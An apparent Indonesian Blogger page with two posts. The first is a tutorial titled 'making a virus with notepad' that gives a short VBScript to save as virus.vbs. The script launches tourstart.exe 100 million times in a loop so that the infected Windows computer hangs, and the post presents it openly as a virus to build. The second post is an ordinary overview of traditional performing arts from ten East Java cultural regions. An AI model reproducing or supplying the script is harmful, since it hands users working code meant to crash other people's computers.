Sabtu, 16 Oktober 2010

Membuat virus dengan notepad.

Membuat virus bukanlah merupakan hal yang sulit. Karena, kita dapat membuatnya dengan notepad yang terdapat di semua komputer yang memakai Windows.
Virus yang akan kita buat ini, adalah virus yang membuat komputer yang terinfeksi menjadi tidak bisa berjalan sama sekali.

Let`s Begin!

langkah-langkah:

1. buka notepad
2. copy+paste bahasa pemograman(yang bercetak tebal) di bawah ini:

option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next


3. Save notepad dengan nama virus.vbs ( pastikan ”save as type” diubah ke ”all files”)
4. Ingat!! jangan klik file tersebut. Karena komputer anda akan dipenuhi oleh 100000000
tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total
sebelum anda mendelete semuanya.
5. bila ingin mencoba virus ini. silahkan membuat ulang program, dengan perbedaan
ubah 100000000 ke 10, untuk percobaan. maka setelah anda mengklik program.
layar anda akan dipenuhi oleh hanya 10 tourstart saja.
Read more »

Sabtu, 02 Oktober 2010

Kesenian Sepuluh Wilayah Budaya Jawa Timur

Wayang orang (Mataraman)

Wayang Orang adalah seni drama tari yang mengambil cerita Ramayana dan Maha­barata sebagai induk ceritanya.Dari segi cerita, Wayang Orang adalah perwujudan drama tari dari Wayang Kulit Purwa. Pada mulanya, yakni pertengahan abad ke-18, semua penari Wayang Orang adalah penari pria, tidak ada penari wanita. Jadi agak mirip dengan pertunjukan ludruk di Jawa Timur dewasa ini.Dalam berbagai buku mengenai budaya wayang disebutkan, Wayang Orang diciptakan oleh Kangjeng Pangeran Adipati Arya Mangkunegara I (1757 - 1795). Para pemainnya waktu itu terdiri atas abdi dalem istana.

Pertama kali Wayang Orang itu dipentaskan secara terbatas pada tahun 1760. Namun, barn pada pemerintahan Mangkunegara V pertunjukan Wayang Orang itu lebih memasyarakat, walaupun masih tetap terbatas dinikmati oleh kerabat keraton dan para pegawainya. Pemasyarakatan seni Wayang Orang hampir bersamaan waktunya dengan lahirnya drama tari Langendriyan.

Pada masa pemerintahan Mangkunegara VII (1916 -1944) kesenian Wayang Orang mulai diperkenalkan pada masyarakat di luar tembok keraton. Usaha memasyarakatkan kesenian ini makin pesat ketika Sunan Paku Buwana X (1893-1939) memprakarsai pertunjukan Wayang Orang bagi masyarakat umum di Balekambang, Taman Sri Wedari, dan di Pasar Malam yang diselenggarakan di alun-alun. Para pemainnya pun, bukan lagi hanya para abdi dalem, melainkan juga orang-orang di luar keraton yang berbakat menari.

Penyelenggaraan pertunjukan Wayang Orang secara komersial baru dimulai pada tahun 1922. Mulanya, dengan tujuan mengumpulkan dana bagi kongres kebudayaan. Kemudian pada tahun 1932, pertama kali Wayang Orang masuk dalam siaran radio, yaitu Solosche Radio Vereeniging, yang mendapat sambutan hebat dari masyarakat.

Wayang Orang juga menyebar ke Yogyakarta. Pada zaman pemerintahan Sultan Hamengku Buwana VII (1877 -1921) keraton Yogyakarta dua kali mempergelarkan pementasan Wayang Orang untuk tontonan kerabat keraton. Waktu itu lakonnya adalah Sri Suwela dan Pregiwa - Pregiwati. Wayang Orang di Yogyakarta ini disebut Wayang Wong Mataraman.

Pakaian para penari Wayang Orang pada awalnya masih amat sederhana, tidakjauh berbeda dengan pakaian adat keraton sehari-hari, hanya ditambah dengan selendang tari. Baru pada zaman Mangku­negara VI (1881-1896), penari Wayang Orang mengenakan irah-irahan terbuat dari kulit ditatah apik, kemudian disungging dengan perada.Sejalan dengan perkembangan Wayang Orang. terciptalah gerak-gerak tari baru yang diciptakan oleh para seniman pakar tari keraton. Gerak tari baru itu antara lain adalah sembahan, sabetan, lumaksono. ngombak banyu, dan srisig.

Karena ternyata kesenian Wayang Orang mendapat sambutan hangat dari masyarakat, bermun­culanlah berbagai perkumpulan Wayang Orang; mula-mula dengan status amatir, kemudian menjadi profesional. Perkumpulan Wayang orang yang cukup tua dan terkenal, di antaranya Wayang Orang (WO Sriwedari di Surakarta dan WO Ngesti Pandawa di Semarang. Wayang Orang Sriwedari merupakan kelompok budaya komersial yang pertama dalam bidang seni Wayang Orang. Didirikan tahun 1911, per­kumpulan Wayang Orang ini mengadakan pentas: secara tetap di `kebon raja' yakni taman hiburan umum milik Keraton Kasunanan Surakarta.

Gandrung Banyuwangi (Osing)

Gandrung Banyuwangi adalah salah satu jenis tarian yang berasal dari Banyuwangi.

Asal istilah

Kata “”Gandrung”" diartikan sebagai terpesonanya masyarakat Blambangan yang agraris kepada Dewi Sri sebagai Dewi Padi yang membawa kesejahteraan bagi masyarakat.

Pertunjukan Gandrung Banyuwangi

Tarian Gandrung Banyuwangi dibawakan sebagai perwujudan rasa syukur masyarakat setiap habis panen.. Kesenian ini masih satu genre dengan seperti Ketuk Tilu di Jawa Barat, Tayub di Jawa Tengah dan Jawa Timur bagian barat, Lengger di wilayah Banyumas dan Joged Bumbung di Bali, dengan melibatkan seorang wanita penari profesional yang menari bersama-sama tamu (terutama pria) dengan iringan musik (gamelan).

Gandrung merupakan seni pertunjukan yang disajikan dengan iringan musik khas perpaduan budaya Jawa dan Bali. Tarian dilakukan dalam bentuk berpasangan antara perempuan (penari gandrung) dan laki-laki (pemaju) yang dikenal dengan “paju”

Bentuk kesenian yang didominasi tarian dengan orkestrasi khas ini populer di wilayah Banyuwangi yang terletak di ujung timur Pulau Jawa, dan telah menjadi ciri khas dari wilayah tersebut, hingga tak salah jika Banyuwangi selalu diidentikkan dengan gandrung. Kenyataannya, Banyuwangi sering dijuluki Kota Gandrung dan patung penari gandrung dapat dijumpai di berbagai sudut wilayah Banyuwangi.

Gandrung sering dipentaskan pada berbagai acara, seperti perkawinan, pethik laut, khitanan, tujuh belasan dan acara-acara resmi maupun tak resmi lainnya baik di Banyuwangi maupun wilayah lainnya. Menurut kebiasaan, pertunjukan lengkapnya dimulai sejak sekitar pukul 21.00 dan berakhir hingga menjelang subuh (sekitar pukul 04.00).

Reog (Panaragan)

Reog adalah salah satu kesenian budaya yang berasal dari Jawa Timur bagian barat-laut dan Ponorogo dianggap sebagai kota asal Reog yang sebenarnya. Gerbang kota Ponorogo dihiasi oleh sosok warok dan gemblak, dua sosok yang ikut tampil pada saat reog dipertunjukkan. Reog adalah salah satu budaya daerah di Indonesia yang masih sangat kental dengan hal-hal yang berbau mistik dan ilmu kebatinan yang kuat.

Pementasan Seni Reog

Reog modern biasanya dipentaskan dalam beberapa peristiwa seperti pernikahan, khitanan dan hari-hari besar Nasional. Seni Reog Ponorogo terdiri dari beberapa rangkaian 2 sampai 3 tarian pembukaan. Tarian pertama biasanya dibawakan oleh 6-8 pria gagah berani dengan pakaian serba hitam, dengan muka dipoles warna merah. Para penari ini menggambarkan sosok singa yang pemberani. Berikutnya adalah tarian yang dibawakan oleh 6-8 gadis yang menaiki kuda. Pada reog tradisionil, penari ini biasanya diperankan oleh penari laki-laki yang berpakaian wanita. Tarian ini dinamakan tari jaran kepang, yang harus dibedakan dengan seni tari lain yaitu tari kuda lumping. Tarian pembukaan lainnya jika ada biasanya berupa tarian oleh anak kecil yang membawakan adegan lucu.

Setelah tarian pembukaan selesai, baru ditampilkan adegan inti yang isinya bergantung kondisi dimana seni reog ditampilkan. Jika berhubungan dengan pernikahan maka yang ditampilkan adalah adegan percintaan. Untuk hajatan khitanan atau sunatan, biasanya cerita pendekar,

Adegan dalam seni reog biasanya tidak mengikuti skenario yang tersusun rapi. Disini selalu ada interaksi antara pemain dan dalang (biasanya pemimpin rombongan) dan kadang-kadang dengan penonton. Terkadang seorang pemain yang sedang pentas dapat digantikan oleh pemain lain bila pemain tersebut kelelahan. Yang lebih dipentingkan dalam pementasan seni reog adalah memberikan kepuasan kepada penontonnya.

Adegan terakhir adalah singa barong, dimana pelaku memakai topeng berbentuk kepala singa dengan mahkota yang terbuat dari bulu burung merak. Berat topeng ini bisa mencapai 50-60 kg. Topeng yang berat ini dibawa oleh penarinya dengan gigi. Kemampuan untuk membawakan topeng ini selain diperoleh dengan latihan yang berat, juga dipercaya diproleh dengan latihan spiritual seperti puasa dan tapa.

Ludruk (Arek)

Ludruk adalah kesenian drama tradisional dari Jawa Timur. Ludruk merupakan suatu drama tradisional yang diperagakan oleh sebuah grup kesenian yang di gelarkan disebuah panggung dengan mengambil cerita tentang kehidupan rakyat sehari-hari, cerita perjuangan dan lain sebagainya yang diselingi dengan lawakan dan diiringi dengan gamelan sebagai musik.

Dialog/monolog dalam ludruk bersifat menghibur dan membuat penontonnya tertawa, menggunakan bahasa khas Surabaya, meski kadang-kadang ada bintang tamu dari daerah lain seperti Jombang, Malang, Madura, Madiun dengan logat yang berbeda. Bahasa lugas yang digunakan pada ludruk, membuat dia mudah diserap oleh kalangan non intelek (tukang becak, peronda, sopir angkutan umum, etc).

Sebuah pementasan ludruk biasa dimulai dengan Tari Remo dan diselingi dengan pementasan seorang tokoh yang memerakan "Pak Sakera", seorang jagoan Madura. Kartolo adalah seorang pelawak ludruk legendaris asal Surabaya, Jawa Timur. Ia sudah lebih dari 40 tahun hidup dalam dunia seni ludruk. Nama Kartolo dan suaranya yang khas, dengan banyolan yang lugu dan cerdas, dikenal hampir di seluruh Jawa Timur, bahkan hingga Jawa Tengah.Ludruk berbeda dengan ketoprak dari Jawa Tengah. Cerita ketoprak sering diambil dari kisah zaman dulu (sejarah maupun dongeng), dan bersifat menyampaikan pesan tertentu. Sementara ludruk menceritakan cerita hidup sehari-hari (biasanya) kalangan wong cilik.





Kesenian Bawean (Madura Bawean)

Senjata tradisional orang Bawean adalah pedang. Pedang di gunakan oleh Raja Bawean pada zaman dahulu seperti yang ada di desa kumalasa, dan Pendekar Pokolan menggunakan pedang dan pisau sebagai senjatanya. Pada zaman sekarang terkenal juga Celurit karena ada pengaruh dari Madura, bukan hanya di Bawean tapi di jawa Timur celurit menjadi senjata khas. Seni pertahanan diri orang Bawean adalah = POKOLAN, merupakan salah satu aliran pencak silat di nusantara. Pencak Silat yang ada di jawa timur dan madura berasal dari pokolan Bawean. pokolan Bawean mirip seperti silat cekak ustazd hanafi di malaysia tapi pokolan Bawean lebih mematikan, teknik pukulan tangan dengan cara menekuk jari tangan (orang bawean menyebutnya Nyotok/ Sotok). Tidak di genggam seperti karate. Ini berfungsi untuk mematahkan tulang rusuk lawan. Pokolan Bawean kini berkembang di Singapore (Pencak Pokolan Bawean). Kesenian tradisional Bawean umumnya terpengaruh budaya melayu dan islam.sebut saja seni balas pantun yang akrab di sebut Mandiling oleh orang Bawean ada juga Budaya khas orang Bawean yaitu “Makabin-kabin”, ini adalah pernikahan adat orang Bawean yang dirayakan 7 hari 7 malam.

Tari Topeng Gettak (Madura Pulau)

Sebuah tari tradisional yang menggambarkan seorang kesatria sedang berkelana. Oleh karenanya tari ini disebut juga Tari kelonoan. Konon tarian ini merupakan abtraksi dari tari Topeng Baladewo dalam kesenian topeng dalang yang pernah berkembang dikalangan bangsawan.

Disebut Tari Topeng Getak karena tarian ini dipacu oleh musik iringan sronen kenong tello’ yang bunyi suaranya didominasi oleh suara kendang. Tarian ini disamping berfungsi sebagai tari pembukaan pada kesenian sandhur juga disajikan sebagai hiburan penyambut tamu dan lain-lain.



Ojung (Madura kangean)

Sumenep - Budaya Ojung atau olahraga mengadu kekebalan tubuh serta kelihaian dalam memukul menggunakan rotan terhadap lawan di Kabupaten Sumenep, Madura nyaris punah.

Konon, tradisi Ojung tempo dulu sering digelar saat selamatan desa, tolak balak atau sedang mendapat kegembiraan bersama disuatu wilayah. Sehingga mereka berkumpul dan mengadu kekuatan tubuh.
Tak semua orang bisa ikut serta menjadi pemain dalam tradisi Ojung ini, selain harus berani dan bertubuh kebal, juga kekuatan memukul dengan rotan serta seni menghindari dari pukulan lawan menjadi tolak ukur peserta Ojung.
Jika tidak, maka pukulan rotan yang disediakan khusus oleh panitia bakal melukai kulitpemain.

Memang seringkali terjadi bagi pemain pemula, pukulan rotan berukuran besar yang menyasar di lengan dan tubuh belakang dan samping melukai kulit dengan darah segar mengalir.Tetapi, bagi mereka yang sudah biasa bermain Ojung, bekas pukulan rotan tak terlihat. Ini biasanya dinilai yang paling jago dan mendapat tepuk tangan meriah oleh penonton.Sebenarnya tidak ada penilaian pemenang atau pun siapa yang kalah dari panitia. Namun, bila lebih banyak menerima pukulan apalagi rotan yang dipegangnya lepas dari tangan dianggap kalah oleh penonton.

Adu kekuatan fisik dan kekebalan dalam tradisi Ojung ini berlangsung 5 sampai 7 menit. Bagi yang punya kemampuan lebih, bisa saja hingga dua kali tanding. Itu pun jika yang bersangkutan masih sanggup melanjutkan.Selama permainan, ada dua orang yang mengatur jalannya Ojung tersebut. Dia disebut Peputo (Wasit). Perannya, selain menjaga permainan tetap profesional dan sportif, juga menjaga pihak penonton atau kerabatnya ikut memukul pemain bila dianggap kalah.
Untuk mencari lawan tidaklah sulit, di arena gelanggang 10x10 meter itu setiap penonton dipersilahkan untuk mencari lawan sebanding, terutama tinggi dan umur. Bila sepakat bertanding, maka yang bersangkutan dipersilahkan melepas baju.
Bagian kepala diberi penutup dan sebagian lengan kiri diberi kain sebagai alat menahan pukulan lawan. Rotan berukuran besar sepanjang 1 meter sebagai alat memukul.
.

Tari Sodor (Tengger)


Tari Sodoran ini terdiri dari 12 gerak tari yang melambangkan isi alam jagad raya. Yang isi nya ada 12 planet yang selanjutnya tari ini melambangkan penciptaan Buana Agung Buana Alit. Yang selanjutnya ditegaskan dalam sesaji Upacara Karo dimana sesaji pokoknya adalah Jenang Abang, dan Jenang Poteh. Jenang itu pada dasarnya terbuat dari gala, beras, kelapa dan bumbu yang semuanya itu adalah intinya bakal. Bakal wujud yang proses pembuatannya sebagaimana dilakukan suami istri dalam perkawinannya.


Tari Sodor ini berasal dari daerah pegunungan Tengger. Tari Sodor ini merupakan simbol dari Tari Sangkan Paraning Dumadi (Asal mula terjadinya alam semesta dengan segala isinya). Tari Sodor ini ditarikan pada saat bulan Karo (Bulan Kalender Tengger) atau juga bulan kedua. Disaat pembukaan hari raya Karo, tarian ini wajib ditarikan oleh perwakilan dari masing-masing Desa dan merupakan tarian persembahan kepada Tuhan Yang Maha, Esa dan leluhurnya yang ditarikan disebuah desa yaitu Desa Tosari. Dan tarian ini mempunyai dua gerak inti yang mengandung maksud memohon kepada Tuhan untuk kiranya dapat keturunan dengan simbol menebarkan biji-bijian oleo sang lelaki dan dipungut oleh sang wanita karena sesungguhnya kehidupan ini terjadi dari buah hubungan pria dan wanita. Dan Tarian Sodoran Suku Tengger ini masih dilestarikan pada setiap Bulan Karo yang diteruskan dengan tradisi selametan Sesanti (Bersyukur kepada Tuhan Yang Maha Esa) dimasing-masing Rumah.


Kuda Kencak salah satu kesenian Kabupaten Probolinggo



Satu jenis kesenian yang paling unik dan menarik dari Probolinggo adalah tarian Kuda Kencak. Kata “kencak” sendiri berarti mengangkat kaki berulang kali. Satu gerakan indah dan jenaka yang dilakukan oleh kuda mengiringi irama bunyi-bunyian dari gamelan yang ditabuh oleh beberapa orang. Sang kuda diberi hiasan warna-warni. Seorang anak yang duduk dipunggungnya juga memakai pakaian yang tidak kurang gemerlapannya, diberi untaian bunga sekeliling kepalanya, dipayungi dengan payung berwarna serta diarak dan diperlakukan bagai pengantin.

Tradisi ini sebenarnya dilakukan dalam upacara mengkhitankan seorang anak. Tetapi perkembangan menunjukkan bahwa kebiasaan ini juga dilaksanakan sebagai penebus nazar atau niat seseorang. Misalnya saja seseorang akan mempagelarkan Kuda Kencak apabila anaknya sembuh dari sakit. Maka bila anaknya benar-benar telah sembuh, si anak akan menari bersama kuda kencak dan diarak beramai-ramai.
Setibanya dari arak-arakan tersebut, barulah diadakan pertunjukan sepenuhnya. Gamelan di tabuh dengan irama tertentu. Pengiringnya, biasanya disebut “Janis”, akan ikut pula menari dan membawakan kidung-kidung, sejenis pantun sindir menyindir dan dibawakan bersahut-sahutan. Dalam irama gamelan itulah kuda dengan kejenakaannya mengangguk-angguk, menggeleng-gelengkan kepala serta merentak-rentakkan kakinya sesuai dengan ritme bunyi-bunyian. Kini kuda kencak sering dipagelarkan untuk menyambut tamu-tamu agung atau tamu-tamu yang dihormati.

Tari Tayub (Samin)

Tayub merupakan tari pergaulan yang populer bagi masyarakat Bojonegoro dan sekitarnya. Tarian ini biasanya dilakukan oleh pria dengan diiringi gamelan dan tembang Jawa yang dilantunkan oleh waranggono yang syairnya sarat dengan petuah dan ajaran.

Pertunjukan tari ini banyak dipergunakan untuk meramaikan kegiatan hajatan yang banyak dilaksanakan oleh warga Bojonegoro ataupun kegiatan kebudayaan yang lain. Biasanya dalam mengadakan kegiatannya, tarian tayub ini sudah terkoordinir dalam suatu kelompok tertentu dengan nama khas masing-masing. Biasanya kelompok-kelompok tari tayub ini banyak terdapat di Kecamatan Temayang dan Bubulan yang terletak sekitar 30 Km dari Kecamatan Kota Bojonegoro.


Read more »

 
Powered by Blogger | Tested by Blogger Templates | Best Credit Cards